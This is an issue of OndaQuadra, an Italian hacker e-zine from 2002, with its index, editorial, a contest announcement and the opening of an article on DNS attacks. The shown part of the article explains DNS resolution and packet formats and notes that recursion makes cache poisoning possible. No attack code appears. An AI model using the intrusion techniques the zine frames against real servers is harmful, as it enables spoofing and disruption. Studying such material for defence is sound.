Copy Link
Add to Bookmark
Report
OndaQuadra 08
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
::::::::::::, .::::::::::::::::::::::::::::::,. .,:::,,.........,:
::::::::,. s@@@@@@#. .:::::, .,:::::::::. ,:. ,, :::::::::,.:
::::::, ;@@@@@@@@@@@@@: ,:: ;H@@Ar .::::::. :@@@@@@: :. ;@@@@@#r :
:::::. 2@@@ :@@@@@@@H .:, @@@@@@@@@@: .:::: ,@@@r @@@G . S@@@: @@@S:
:::: s@@@2 ,,, #@@@@@@r :,:@@@@@@@@@@@; ,::. 2@@# :@@# .:@@@ .@@@::
:::, A@@@@ :::::, @@@@@@@ :, #@@@@@@@@ :: .@@@ ,. 9@@M S@@G,3@@r :
::: @@@@@ ,:::::. 5@@@@@2 :::, S@@@@@@@@@: ,:.#@@: ,, @@@: ,@@@#B@@@, :
::: i@@@@@G ,::::. r@@@@r .::: @@@@@@@@@@@ , @@@ : i@@A @@@; @@@3 :
::: i@@@@@@A @@@@ .::, h@@@@@@@@@@@; @@H i@@# @@@; ;@@@: ,
::: @@@@@@@@@3;.i@@@S ,::. r@@@@@@@@@@@@@@H @@@ A@@3 @@@i @@@@ ,:
:::, .@@@@@@@@@@@@@: ,::, @@@@@@@@@@@@@@@@@@ @@@@@@3 , A@@@@@@M ,::
::::, 9@@@@@@i .::::: @@@@@@@@@@@@@@@@@@@@@@@S ,:::::::::::::::::::::
:::::,. .,::::, &@@@@@@@@@@@@@@@@@@@@@@@@H .::::::::::::::::::::
::::::::. ,:. @@@@@@@@@@@@@@@@@@@@@@@@@@@; ,::::::::::::::::::
:::::, :@@@@@@@@@@@; .. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .:::::::::::::::::
:::, M@@s ,@@@@@@@@2 . @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@r .::::::::::::::::
::. @@@# .. @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@; ,:::::::::::::::
:, ,@@@@ :::::. @@@@@@i , &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ :::::::::::::::
: @@@@2 ,::::::. r@@@@@r :, G@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ,::::::::::::::
: S@@@@A ::::::: @@@@@ .:::. @@@@@@@@@@@@@@@@@@@@@@@@@H,A,,::::::::::::::
: H@@@@@; ,,,, 5@@@H ,:::: @@@@@@@@@@@@@@@@@@@@@@@@@@S ,::::::::::::::
: S@@@@@@@. H@@# ,:::::. @@@@@@@@@@@@@@@@@@@@@@@@@@@. :::::::::::::::
:. #@@@@@@@@@@@@@@& ,:::::::, @@@@@@@@@@@@@@@@@@@@@@@@@@@2 :::::::::::::::
:, &@@@@@@@@@H ,:::::,. M@@r2@@:@@@@@@@@@@@@@@@@@@@; :::::::::::::::
:::, A@: .,,,.2&22@@@@, A@@@@@@@@@@@@@@@@@@ :::::::::::::::
:::, .s@@@@@@@@@@@@A: s2@@@HA@@2B@M@@ A@@@@@@@@@@@@@@@ .::::::::::::::
:::,;@@@@@@@@@@@@@@@@@@@@h, ;@@@rs@@@@@@@@@@@@@@ .:::::::::::::
:::, ,3@@@@@@@@@@@@@@@@2. .@@@@@@@@@@@@@@@G :::::,. ,::
:::::::::,,. r@@@@@@@@@@@@@@@@@h; ,S#@@@@@@@@@@@r ,. 2@3,::
:::::::::::::::,. ;#@@@@@@@@@@@@@@@@@i. &@@@@@@; :H@@@@S ,::
::::::::::::::::::::,. .5@@@@@@@@@@@@@@@@@@Ai: :@@@@@@@; ,:::
:::::::::::::::::::::::::,. :G@@@@@@@@@@@@@@@@@@@@@@@@A: .,::::::
:::::::::::::::::::::::::::::::,. ... .,,::::::::::
::::::::::::::::::::::::::::::::::::::,,.. ..,,:::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+--------------------------------------------------------------------------+
| ONDAQUADRA #08 - 01/11/2002 |
+--------------------------------------------------------------------------+
| Tutto nel ciberspazio |
| E' scandito dalla squarewave |
| Dei micro-processori |
| Il clock dei micro |
| E' come |
| Un battito cardiaco |
| Elettronico... |
+--------------------------------------------------------------------------+
| http://www.ondaquadra.org |
| mail@ondaquadra.org ~ articoli@ondaquadra.org |
+--------------------------------------------------------------------------+
<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->
+--------------------------------------------------------------------------+
| LEGAL DISCLAIMER |
+--------------------------------------------------------------------------+
| |
| Nessuna persona dello staff di OndaQuadra si assume responsibilita' |
| per l'uso improprio dell'utilizzo dei testi e dei programmi presenti |
| nella e-zine, ne' per danni a terzi derivanti da esso. |
| OndaQuadra non contravviene in alcun modo alle aggiunte/modificazioni |
| effettuate con la legge 23 dicembre 1993, n.547 ed in particolare |
| agli artt. 615-quater- e 615-quinques-. |
| Lo scopo di OndaQuadra e' solo quello di spiegare quali sono e come |
| avvengono le tecniche di intrusione al fine di far comprendere come |
| sia possibile difendersi da esse, rendere piu' sicura la propria box e |
| in generale approfondire le proprie conoscenze in campo informatico. |
| I programmi allegati sono semplici esempi di programmazione che hanno |
| il solo scopo di permettere una migliore comprensione di quanto |
| discusso e spiegato nei testi. |
| Non e' soggetta peraltro agli obblighi imposti dalla legge 7 marzo 2001, |
| n. 62 in quanto non diffusa al pubblico con "periodicita' regolare" ex |
| art. 1 e pertanto non inclusa nella previsione dell'art.5 della legge |
| 8 febbraio 1948, n.47. |
| |
+--------------------------------------------------------------------------+
<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->
+--------------------------------------------------------------------------+
| COSTITUZIONE DELLA REPUBBLICA ITALIANA |
+--------------------------------------------------------------------------+
| Diritti e doveri dei cittadini: Rapporti civili |
| |
| Articolo 21 |
| Tutti hanno diritto di manifestare liberamente il proprio pensiero |
| con la parola, lo scritto e ogni altro mezzo di diffusione. [...] |
+--------------------------------------------------------------------------+
<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->
+--------------------------------------------------------------------------+
| INDICE |
+--------------------------------------------------------------------------+
| [L0GiN] |
| 0x01 ViSi0NARi .............................................. [oq~staff] |
| 0x02 iPSE DiXiT ............................................... [JEYoNE] |
| 0x03 On the sunny side of the street ........................ [arkanoid] |
| 0x04 0Q C0NTEST ............................................. [oq~staff] |
+--------------------------------------------------------------------------+
| [HACKiNG] |
| 0x05 DEFEATiNG DNS ........................................... [SNHYPER] |
| 0x06 iP R0UTiNG ATTACK .......................................... [eazy] |
| 0x07 C0DE iNJECTi0N ............................................. [eazy] |
+--------------------------------------------------------------------------+
| [NETW0RKiNG] |
| 0x08 iMP0STARE iL DUAL STACK IPV6 / IPV4 ............... [Master^Shadow] |
+--------------------------------------------------------------------------+
| [LiNUX] |
| 0x09 LMSRK ..................................................... [spyro] |
+--------------------------------------------------------------------------+
| [C0DiNG] |
| 0x0A iNTR0DUZi0NE A PHP .................................... [Lethalman] |
| 0x0B iL SUCCESS0RE Di XSL .................................. [cyberdude] |
| 0x0C PLUS #2 .................................................. [Mastro] |
| 0x0D iMPARiAM0 iL LiNGUAGGi0 WML ........................... [cyberdude] |
| 0x0E GUiDA ALLA PR0GRAMMAZi0NE GRAFiCA iN C/C++ ................ [bondo] |
+--------------------------------------------------------------------------+
| [L'ANG0L0 DEGLi EXPL0iT] |
| 0x0F BNBF0RM: USi E ABUSi ...................................... [spyro] |
| 0x10 LA G0CCiA CHE FA TRAB0CCARE iL BUFFER ....................... [e4m] |
+--------------------------------------------------------------------------+
| [MiSC] |
| 0x11 DiGiTAL ................................................. [evilcry] |
| 0x12 CiRCUiTi STAMPATi ....................................... [TiN_MaN] |
| 0x13 E ULTiM0 VENNE iL P0RC0 ................................ [onnivora] |
| 0x14 GLi SPYWARE 0GGi ........................................... [SwiT] |
+--------------------------------------------------------------------------+
| [L'APPRENDiSTA STREG0NE] |
| 0x15 GUARDA GUARDA CHE Ti LEGG0 iL W0RD! ...................... [Dagart] |
| 0x16 PATCHARE UN SERiAL NUMBER USAND0 WDASM32 .............. [cyberdude] |
| 0x17 0VERCL0CK ESTREM0 Di UN PENTiUM IV 1600 ..................... [DJK] |
| 0x18 C0DiCE iNVERS0 PARTE 5 ..................................... [Zer0] |
+--------------------------------------------------------------------------+
| [SHUTD0WN] |
| 0x19 MEDiTAZi0Ni DAVANTi AD UNA MACCHiNETTA ................ [Dreadnaut] |
+--------------------------------------------------------------------------+
| [C0NTATTi] |
| 0x1A D0VE TR0VARCi ........................................ [oq ~ staff] |
+--------------------------------------------------------------------------+
| [ALLEGATi] |
| 0x01 MODELLO.JPG ............................................ [oq~staff] |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #08 - 01/11/2002 |
| ViSi0NARi [oq~staff] 0x01/0x1A |
+--------------------------------------------------------------------------+
| "Siamo realisti, esigiamo l'impossibile" |
| [Che Guevara] |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #08 - 01/11/2002 |
| iPSE DiXiT [JEYoNE] 0x02/0x1A |
+--------------------------------------------------------------------------+
| "Linux e' troppo vecchio per supportare la tecnologia ADSL" |
| [un tecnico del 187] |
| |
| "...jey, fai assaggiare un po della tua banana alla mia ragazza..." |
| [SHNYPER a JEYoNE in un locale di milano] |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #08 - 01/11/2002 |
| On the sunny side of the street [arkanoid] 0x03/0x1A |
+--------------------------------------------------------------------------+
| Abbandonare la citta' la sera e' difficile. Si ha le netta percezione |
| del sovradimensionamento del traffico rispetto all'infrastruttura della |
| rete stradale. E' come fare streaming video con un modem da 14 e 4, un |
| Denial of Service urbano quotidiano. |
| A proposito di DoS (anzi DDoS): lo scorso mese abbiamo assistito a |
| quello che l'Fbi ha definito il piu' vasto attacco contro Internet, |
| l'assalto ai root-server dns. Nulla di nuovo sotto il sole cablato; |
| pero' prima o poi l'inevitabile accadra', ci sara' sicuramente un |
| attacco devastante contro la rete, primo atto della cyberwar, l'11 |
| settembre elettronico. Sediamoci sulla riva del fiume e aspettiamo che |
| il cadavere della modernita' ci passi davanti agli occhi, anche se ai |
| professorini col cappello nero non importa nulla, l'importante e' farsi |
| accettare nel salotto buono del capitalismo o parlare a qualche inutile |
| conferenza: i bottegai della sikurezze sono serviti. |
| |
| Intanto qui si parla di censura. No, questa volta i simpatici signori |
| del Palazzo non centrano. Anzi, devo dire che ultimamente a |
| Montecitorio si stanno comportando assai bene; pensate che ieri si sono |
| addirittura presi a pugni due rappresentsnti dello stesso partito, |
| cosi' evitano la fatica ai cittadini... |
| Dicevo della censura, anzi auto-cesnura. Ebbene si, abbiamo dovuto |
| censurare un articolo. Ma come ? Proprio noi, la "stampa clandestina", |
| i paladini assoluti della liberta' di espressione, super m3g4 l33t del |
| panorama hackeresco Globale... |
| Comunque state tranquilli, l'articolo incriminato apparira' sul |
| prossimo numero: restate sintonizzati, il mistero sara' svelato (o |
| no ? ). |
| |
| Continuano ad arrivare tanti articoli, alcuni buoni altri meno. |
| Chiariamo un punto. |
| Avete scritto un articolo fantastico, estremamente complesso, dove |
| viene illustratta una nuova sofisticatissima tecnica? Mandatelo a Bfi |
| (o a phrack o alla Microsoft, e' uguale) :) Siete aspiranti ethical |
| hacker, black/grey/white hat ? |
| Ecco, non ci interessate :) Noi cerchiamo i rainbow-hat, la fantasia al |
| potere, l'arcobaleno dei dilettanti, i coriandoli colorati portati dal |
| vento ;). |
| Quindi scrivete, scrivete: meglio le idee della tecnica. Piu' |
| editoriali e meno guide di compilazione del kernel :) |
| Piu' avventura e meno accademia: perlomeno sappiate cos'e' il Jolly |
| Roger! |
| Bene, ora potete procedere; rovinatevi gli occhi col nuovo numero di |
| OQ. Sognate ma soprattutto schiodatevi dalle vostre comode poltrone. |
| Non vogliamo eroi, ma gente che e' stufa di patire in silenzio. No ai |
| professorini col cappello nero esperti di sikurezza ed estremamente |
| ipocriti;avanti ai sognatori a 360 gradi, che avvolgono col la vista |
| tutto il giro dell'orizzonte onirico. |
| |
| Il nuovo OQ e'vostro: fate in modo che il prossimo numero sia migliore. |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #08 - 01/11/2002 |
| 0Q C0NTEST [oq~staff] 0x04/0x1A |
+--------------------------------------------------------------------------+
| |
| Il nuovo numero di Ondaquadra porta con se una sferzata di novità, prima |
| tra tutte questa nuova sezione denominata contest. |
| Lo scopo di questa sezione è quello di fornire un mezzo ai nostri |
| lettori per interagire sempre più da vicino nel processo di maturazione |
| della zine fornendo contributi volti a migliorarne gli aspetti più |
| disparati. |
| Ad ogni nuovo numero di OQ verranno istituiti uno o più contest |
| riguardanti tematiche diverse (programmazione, grafica, etc), ad ognuno |
| di essi sarà possibile partecipare liberamente. Ogni contest avrà una |
| consegna ben precisa da rispettare sulla base della quale verranno |
| valutati i vostri lavori. |
| L'oggetto dei contest sarà scelto in maniera tale che il lavoro che si |
| aggiudicherà il primo posto potrà venire impiegato per migliorare quello |
| che è il nostro e il vostro progetto: Ondaquadra. |
| I tempi di consegna dei vostri progetti coincideranno molto spesso con |
| l'uscita del prossimo numero di OQ tuttavia potranno essere estesi a |
| seconda della quantità di contributi ricevuti, il countdown visibile in |
| homepage risulterà utile per avere un'idea del tempo a propria |
| disposizione. |
| |
| Ma ora entriamo nel vivo dei contest che Ondaquadra ha deciso di |
| promuovere questo mese... |
| |
| 1. Programmazione |
| |
| Il contest prevede la realizzazione di un impaginatore in grado di |
| trasformare un testo formattato a piacere in un articolo conforme agli |
| standard di pubblicazione di OQ, ovvero con una formattazione del testo |
| a 72 caratteri di larghezza, proprio come l'articolo che state leggendo. |
| Sono ESCLUSI dai compiti dell'impaginatore la genarazione della cornice |
| di pipe "|". |
| E' possibile utilizzare qualsiasi linguaggio di programmazione, tale |
| scelta è stata fatta per lasciare la maggior libertà possibile. |
| Il codice sarà valutato in base all'aderenza alle consegne, alle scelte |
| di progetto e all'efficenza. |
| Alcuni suggerimenti: i punti più critici sono rappresentati dalla |
| gestione dei possibili disegni ASCII contenuti nel testo, la soluzione |
| di tale problema costituisce un punto cruciale nella valutazione del |
| progetto, per tanto le scelte riguardanti tale gestione sono lasciate |
| interamente all'autore del programma. |
| Il progetto che si aggiudicherà il primo posto costituirà un tool di |
| pubblica utilità per tutti gli utenti che vorranno impaginare i propri |
| articoli in maniera corretta e verrà per tanto inserito tra i download |
| del nostro sito a disposizione di chiunque voglia usufruirne. |
| Il progetto dovrà essere inviato a contest@ondaquadra.org entro e non |
| oltre la data di pubblicazione prevista per il prossimo numero, lo staff |
| si riserva tuttavia la possibilità di estendere la validità del contest |
| sulla base dei contributi ricevuti. |
| |
| 2. Grafica |
| |
| Il contest consiste nel progettare la grafica delle t-shirt di |
| Ondaquadra, la sola consegna da rispettare è quella di utilizzare un |
| logo piccolo per quanto riguarda la parte davanti della t-shirt e uno |
| più grande nella parte posteriore, ai partecipanti è lasciata piena |
| autonomia per quanto riguarda le scelte puramente stilistiche. |
| In allegato alla zine e sul nostro sito è possibile reperire la jpg che |
| costituisce il modello su cui dovrà essere presentato il vostro lavoro. |
| Sulla base del progetto vincitore saranno stampate delle magliette a |
| disposizione dello staff e dei lettori che ne dovessero fare richiesta. |
| Il progetto dovrà essere inviato a contest@ondaquadra.org entro e non |
| oltre la data di pubblicazione prevista per il prossimo numero, lo staff |
| si riserva tuttavia la possibilità di estendere la validità del contest |
| sulla base dei contributi ricevuti. |
| |
| 3. Web |
| |
| Il contest vede come oggetto la versione testuale del sito di OQ ed è |
| dedicato a chiunque voglia cimentarsi nella realizzazione di un sito |
| ottimizzato per links/lynx o altri browser testuali. |
| Nella realizzazione di tale sito vi sono tuttavia delle consegne da |
| rispettare, in particolare deve comparire almeno una volta la frase: |
| |
| "Fino a quando lo spirito umano sara' vivo, gli hackers esisteranno |
| sempre. Puo' darsi che dovremo combattere una battaglia durissima se |
| continueremo ad essere imprigionati e vittimizzati a causa del nostro |
| desiderio di esplorare. Ma questa repressione raggiungera' tutti gli |
| obiettivi tranne quello di fermarci" |
| E. Goldstein, editore di 2600 |
| |
| Una parte dello spazio dovrà essere dedicata ai link che permettono di |
| effettuare il download dei numeri nuovi e arretrati di Ondaquadra. |
| Devono comparire i seguenti indirizzi e-mail al fine di permettere il |
| recapito degli articoli da parte degli utenti e per contattare la |
| redazione: |
| |
| articoli@ondaquadra.org |
| mail@ondaquadra.org |
| |
| Il sito che si aggiudicherà il primo posto sarà il candidato a |
| sostituire il sito attuale che si trova all'URL: |
| |
| http://www.autistici.org/ondaquadra/indexlynx.html |
| |
| Il progetto dovrà essere inviato a contest@ondaquadra.org entro e non |
| oltre la data di pubblicazione prevista per il prossimo numero, lo staff |
| si riserva tuttavia la possibilità di estendere la validità del contest |
| sulla base dei contributi ricevuti, penso che ormai la formula la |
| conosciate :) |
| |
| Bene, con questo ho finito! Vi saluto e vi invito a partecipare numerosi |
| in attesa dei contest che vi proporremo nel prossimo numero. |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ HACKiNG #08 - 01/11/2002 |
| DEFEATiNG DNS [SNHYPER] 0x05/0x1A |
+--------------------------------------------------------------------------+
| ovvero: Tutto cio' che volevate sapere sui DNS e non avete mai |
| osato chiedere |
| |
| [snhyper@Charlotte2:~]$ date |
| Sun Oct 06 03:58:05 CEST 2002 |
| |
| -snhyper@ondaquadra.org- |
| --http://snhyper.owns.it-- |
| |
| |
| |
| 0x00 => Indice: |
| |
| |
| |
| 0x00) Indice |
| |
| 0x01) Requisiti |
| |
| 0x02) Introduzione generale |
| |
| 0x03) Introduzione al DNS |
| -sub_A() Non-authoritative answer |
| -sub_B() Recursive resolution |
| -sub_C() Iterative resolution |
| |
| 0x04) Costituzione pacchetti DNS |
| |
| 0x05) Parametri DNS |
| |
| 0x06) Analisi tipologica di attacchi ai server DNS |
| -sub_A() DNS footprinting |
| -sub_B() DNS zone transfer |
| -sub_C() DNS Denial of Service |
| -sub_D() DNS ID guessing |
| -sub_E() DNS spoofing |
| -sub_F() DNS poisoning/caching |
| -sub_G() DDNS update spoofing |
| |
| 0x07) Protezione server DNS |
| -sub_A() Macchine posix (*nix, *BSD) |
| -sub_B() Macchine Win |
| |
| 0x08) Progetto AmPaRo |
| |
| 0x09) Greetings and Byez |
| |
| 0x0A) Resources |
| |
| 0x0B) GPG Key |
| |
| |
| 0x01 => Requisiti: |
| |
| - conoscenza protocollo tcp/ip - iso/osi |
| - conoscenza funzionamento protocollo dns e cio' ad esso correlato |
| - conoscenza linguaggio C (se non ci si vuole limitare ad eseguire) |
| - conoscenza programmazione socket raw (idem come sopra) |
| - importante: eseguire-> #mount /dev/brain /mnt/head |
| |
| |
| |
| 0x02 => Introduzione generale: |
| |
| In questo paragrafo illustrero' a grandi linee le caratteristiche dei |
| dns senza entrare nei particolari e senza approfondire la sua |
| struttura e il suo funzionamento in quanto dovrebbe essere un target |
| gia' sviluppato (come da paragrafo "Requisiti") ai fini di una |
| ottimale comprensione del presente documento. Per informazioni su |
| tutto cio' che viene detto, tecniche o no, e per approfondimenti vari |
| vi rimando all'ultimo paragrafo "Risorse" nel quale potete trovare |
| puntatori a tutto cio' che mi ha permesso di capire e di sviluppare, e |
| che sarebbe ottimo sapere prima di addentrarsi nei meandri specifici |
| delle reti e dell'hacking in generale. |
| Nel seguito del paper verranno sviluppati anche altri temi inerenti di |
| cui potete trovare traccia nell'indice sopra esposto. |
| |
| C00L: Questo testo vuole essere una analisi dell'argomento DNS |
| security per tutti coloro (sysadmin - h4x0r etc..) che vogliono |
| proteggersi - imparare - etc.. con queste metodologie che |
| ritengo molto interessanti. |
| Come disse mudge in un suo source in un commento: |
| /* A little step for a man, a big step for human kind */ |
| |
| Questo testo vuole essere anche una "implementazione" e |
| "chiarificazione" del testo "DNS Sp00f attack" dell'amico E4zy |
| pubblicato su OndaQuadra n.0x06 ,articolo 0x1D. |
| |
| Questo testo non vuole essere una incitazione ad attacchi e vari. |
| |
| Questo testo non vuole sminuire il testo di E4zy o altro. |
| |
| |
| |
| 0x03 => Introduzione ai DNS: |
| |
| I DNS (Domain Name System) non sono altro che un database distribuito |
| e inter-collaborante che permette il "mapping" dei nomi logici di |
| dominio FQDN (Full Qualified Domain Name) sugli indirizzi di rete IP |
| Address. Questo per una semplificazione notevole all'utenza media e |
| non, in quanto e' sicuramente piu' semplice ricordarsi di un nome |
| logico rispetto ad un indirizzo fisico. Basta pensare, ad esempio, per |
| i computers "internet-connected" quanto sia piu' comodo ricordarsi di |
| www.sikurezza.org rispetto a 151.8.1.46;in questo caso il DNS |
| effettuera' per noi la risoluzione dell'URL (Universal Resource |
| Locator). Altro notevole vantaggio sta nell'evitare la difficile |
| manutenzione di grossi file /etc/hosts etc...in grosse organizzazioni. |
| |
| I nomi logici DNS hanno la forma di "dominio.tipo_dominio", ad esempio |
| sikurezza.org (sikurezza non me ne voglia a male se l'ho preso come |
| esempio ;). I tipi di dominio sono mantenuti dall'ICANN e tra i piu' |
| conosciuti troviamo appunto ".edu - .org - .com - .it - .net" etc.. |
| che differenziano nella maggior parte dei casi la tipologia di |
| contenuti del server o, nel caso dei tipi countries-specific, della |
| nazionalita' ove si trova l'organizzazione (".jp - .de - .en - .fr"). |
| |
| Come si sapra' certamente,al top di tutto si trova la root, alla quale |
| sono designati i 13 root-servers che mantengono traccia dei "top level |
| servers" contenenti informazioni di risoluzione per i domini di primo |
| livello TLD (Top Level Domain). |
| |
| Ma ora vediamo a grandi linee il metodo di risoluzione base di un dns: |
| Quando un client richiede una connessione ,per esempio con il sito |
| www.sikurezza.org, egli non sa che indirizzo abbia quindi effettuera' |
| pochi semplici passi che gli permetteranno la sua risoluzione e quindi |
| di connettersi. |
| |
| Nel seguente schema si ravvisera' la tipica metodologia di risoluzione |
| per sistemi posix compliant quali linux, unix, *BSD etc.., che quindi |
| non includera' la ricerca in database WINS, in file lmhosts etc.. |
| tipiche dei sistemi windoze. |
| |
| Primo passo sara' controllare se l'host appartiene al dominio locale. |
| Una volta appurato che non lo e', controllera' il file /etc/hosts per |
| trovare una risoluzione preimpostata dall'utente stesso. |
| Non trovando niente inviera' una query al proprio DNS server, trovato |
| attraverso un resolver (/etc/resolv.conf), tramite la GetHostByName(3). |
| Nel caso in cui il DNS server di default non sia autoritativo per il |
| dominio richiesto e non abbia la voce richiesta nella cache, agira' da |
| forwarder o inviera' una richiesta ricorsiva (se supportata,flag RA). |
| |
| L'abilitazione della modalita' ricorsiva e' una prerogativa senza la |
| quale il dns-poisoning non puo' essere effettuato (vedremo perche'). |
| Se il client si vedra' ritornare dal DNS una response non autoritativa |
| (non-authoritative response) significhera' che il DNS non ha neanche |
| contattato il server autoritativo per quel dominio, ma l'aveva nella |
| cache. |
| |
| Esempio: |
| |
| -sub_A() Non-authoritative answer: { |
| |
| client dns.tin.it dns.sikurezza.org |
| ---------- ---------- ---------- |
| | |www.sikurezza.org.| | | | |
| | -----------------> | | | | |
| | | A ? | | | | |
| | | | | | | |
| | |www.sikurezza.org.| | | | |
| | | <---------------- | | | |
| | | A 151.8.1.56 | | | | |
| | | AA=0x00 | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| |
| In questo caso, essendo la flag AA (Autority answer) impostata a 0 |
| significa che il server non ha autorita' su quel dominio: vorra' |
| quindi dire che dns.tin.it aveva la mappatura nella cache. |
| Ricordo che il tempo per il quale la voce deve rimanere attiva nella |
| cache equivale a quello impostato nel pacchetto di risposta corrispon- |
| dente al campo TTL. |
| |
| }; |
| |
| -sub_B() Recursive resolution: { |
| |
| client dns.tin.it dns.sikurezza.org |
| ---------- ---------- ---------- |
| | |www.sikurezza.org.| |www.sikurezza.org.| | |
| | -----------------> | -----------------> | | |
| | | A ? | | A ? | | |
| | | | | | | |
| | |www.sikurezza.org.| |www.sikurezza.org.| | |
| | | <---------------- | <----------------- | |
| | | A 151.8.1.56 | | A 151.8.1.56 | | |
| | | AA=0x01 | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| |
| In questo caso (il disegno e' molto schematico e ho lasciato le parti |
| che descrivero' ora) dns.tin.it contattera' uno dei root-server, il |
| quale gli ritornera' l'indirizzo di uno dei server con autorita' sul |
| TLD .org; allora dns.libero.it contattera' quest'ultimo chiedendo di |
| sikurezza.org e verra' ritornato,ad es.,l'indirizzo di sikurezza.org, |
| , che conterra' il record relativo a www.sikurezza.org come record |
| A o CNAME a seconda di come e' stato impostato. Il record sara' di tipo |
| autoritativo (AA=0x01). |
| |
| }; |
| |
| -sub_C() Iterative resolution: { |
| |
| client dns.tin.it dns.sikurezza.org |
| ---------- ---------- ---------- |
| | |www.sikurezza.org.| | | | |
| | -----------------> | | | | |
| | | A ? | | | | |
| | | | | | | |
| | |dns.sikurezza.org.| | | | |
| | | <---------------- | | | |
| | | A 151.8.1.253 | | | | |
| | | AA=0x00 | | | | |
| | | | | |
| | | | | |
| | | www.sikurezza.org. A ? | | |
| | ---------------------------------------------> | | |
| | | | | |
| | | www.sikurezza.org. A 151.8.1.56 | | |
| | | <--------------------------------------------- | |
| | | AA=0x01 | | |
| | | | | |
| |
| }; |
| |
| Come si puo' notare (anche qui sono stati saltati i passi intermedi) |
| nell'interrogazione iterativa e' il client a effettuare le ricerce |
| per i fatti suoi secondo le risposte ricevute dai dns intermediari. |
| E' quindi facile comprendere (per chi sa le basi del dns-poisoning) |
| perche' nel caso di una interrogazione iterativa non sia possibile |
| un attacco del genere. |
| |
| Per capire bene il funzionamento basta armarsi di tools come "dig" o |
| "nslookup", o "host" presenti in ogni distro linux, e naturalmente |
| del classico tcpdump ("anke medioman usa tcpdump", vero Raoul? ;=). |
| |
| 0x04 => Costituzione pacchetti DNS: |
| da Tcp/Ip Illustrated vol.1 , W.R.Stevens |
| |
| |
| Questo paragrafo serve solo da promemoria per la lettura di codice |
| e/o la lettura di parti tenciche in quanto la sua conoscenza deve |
| essere gia stata approntata! |
| |
| |
| 0 1 3 |
| 0 6 2 |
| ------------------------------------------------------------- <- |
| | IDENTIFICATION | FLAGS | | |
| ------------------------------------------------------------- 12 |
| | NUMBER OF QUESTIONS | NUMBER OF ANSWER RRs | bytes |
| ------------------------------------------------------------- header |
| | NUMBER OF AUTHORITY RRs | NUMBER OF ADDITIONAL RRs | | |
| ------------------------------------------------------------- <- |
| \ QUESTIONS / |
| ------------------------------------------------------------- |
| / ANSWERS (variable num. of RRs) \ |
| ------------------------------------------------------------- |
| \ AUTHORITY (variable num. of RRs) / |
| ------------------------------------------------------------- |
| / ADDITIONAL (variable num. of RRs) \ |
| ------------------------------------------------------------- |
| |
| Il significato dei campi dovrebbe essere gia chiaro (requisiti..) |
| quindi non mi dilunghero'. |
| |
| Il campo FLAGS di 16 bit e' suddiviso a sua volta in: |
| |
| 0 0 0 0 0 0 0 1 1 |
| 0 1 5 6 7 8 9 2 6 |
| -------------------------------------------------- |
| | QR | opcode | AA | TC | RD | RA | zero | rcode | |
| -------------------------------------------------- |
| |
| Il campo QUESTIONS contiene la query vera e propria ed e': |
| |
| |
| 0 1 3 |
| 0 6 2 |
| ------------------------------------------------------------- |
| / QUERY NAME \ |
| ------------------------------------------------------------- |
| | QUERY TYPE | QUERY CLASS | |
| ------------------------------------------------------------- |
| |
| |
| Il campi ANSWERS, AUTHORITY e ADDITIONAL condividono lo stesso |
| formato di pacchetto, detto appunto Resource Record (RR): |
| |
| |
| 0 1 3 |
| 0 6 2 |
| ------------------------------------------------------------- |
| \ DOMAIN NAME / |
| ------------------------------------------------------------- |
| | TYPE | CLASS | |
| ------------------------------------------------------------- |
| | TTL | |
| ------------------------------------------------------------- |
| | RESOURCE DATA LENGHT | | |
| ------------------------------- | |
| | RESOURCE DATA | |
| ------------------------------------------------------------- |
| |
| |
| 0x05 => Parametri DNS: |
| |
| Domain System CLASS: |
| |
| Valore Nome Riferimento |
| --------- ---- ---------- |
| 0 Reserved [IANA] |
| 1 Internet (IN) [RFC1035] |
| 2 Unassigned [IANA] |
| 3 Chaos (CH) [RFC1035] |
| 4 Hesiod (HS) [RFC1035] |
| 5-253 Unassigned [IANA] |
| 254 None [Vixie] |
| 255 Any [QCLASS Only] [RFC1035] |
| 256-65534 Unassigned [IANA] |
| 65535 Reserved [IANA] |
| |
| |
| Nella classe Internet (IN) troviamo: |
| |
| TYPE valore and significato |
| |
| A 1 indirizzo host [RFC1035] |
| NS 2 dns server autoritativo [RFC1035] |
| MD 3 ricezione mail (deprecato in favore MX)[RFC1035] |
| MF 4 mail forwarder (deprecato in favore MX)[RFC1035] |
| CNAME 5 canonical name per un alias [RFC1035] |
| SOA 6 inizio zona State of Authority [RFC1035] |
| MB 7 mailbox domain name (EXPERIMENTAL) [RFC1035] |
| MG 8 mail group member (EXPERIMENTAL) [RFC1035] |
| MR 9 mail rename domain name (EXPERIMENTAL) [RFC1035] |
| NULL 10 RR nullo (EXPERIMENTAL) [RFC1035] |
| WKS 11 descrizione Well Known Service [RFC1035] |
| PTR 12 domain name pointer [RFC1035] |
| HINFO 13 informazioni su un host [RFC1035] |
| MINFO 14 informazioni su mail o mailing list [RFC1035] |
| MX 15 mail exchange [RFC1035] |
| TXT 16 stringhe di testo [RFC1035] |
| RP 17 indirizzo responsabile sysdmin [RFC1183] |
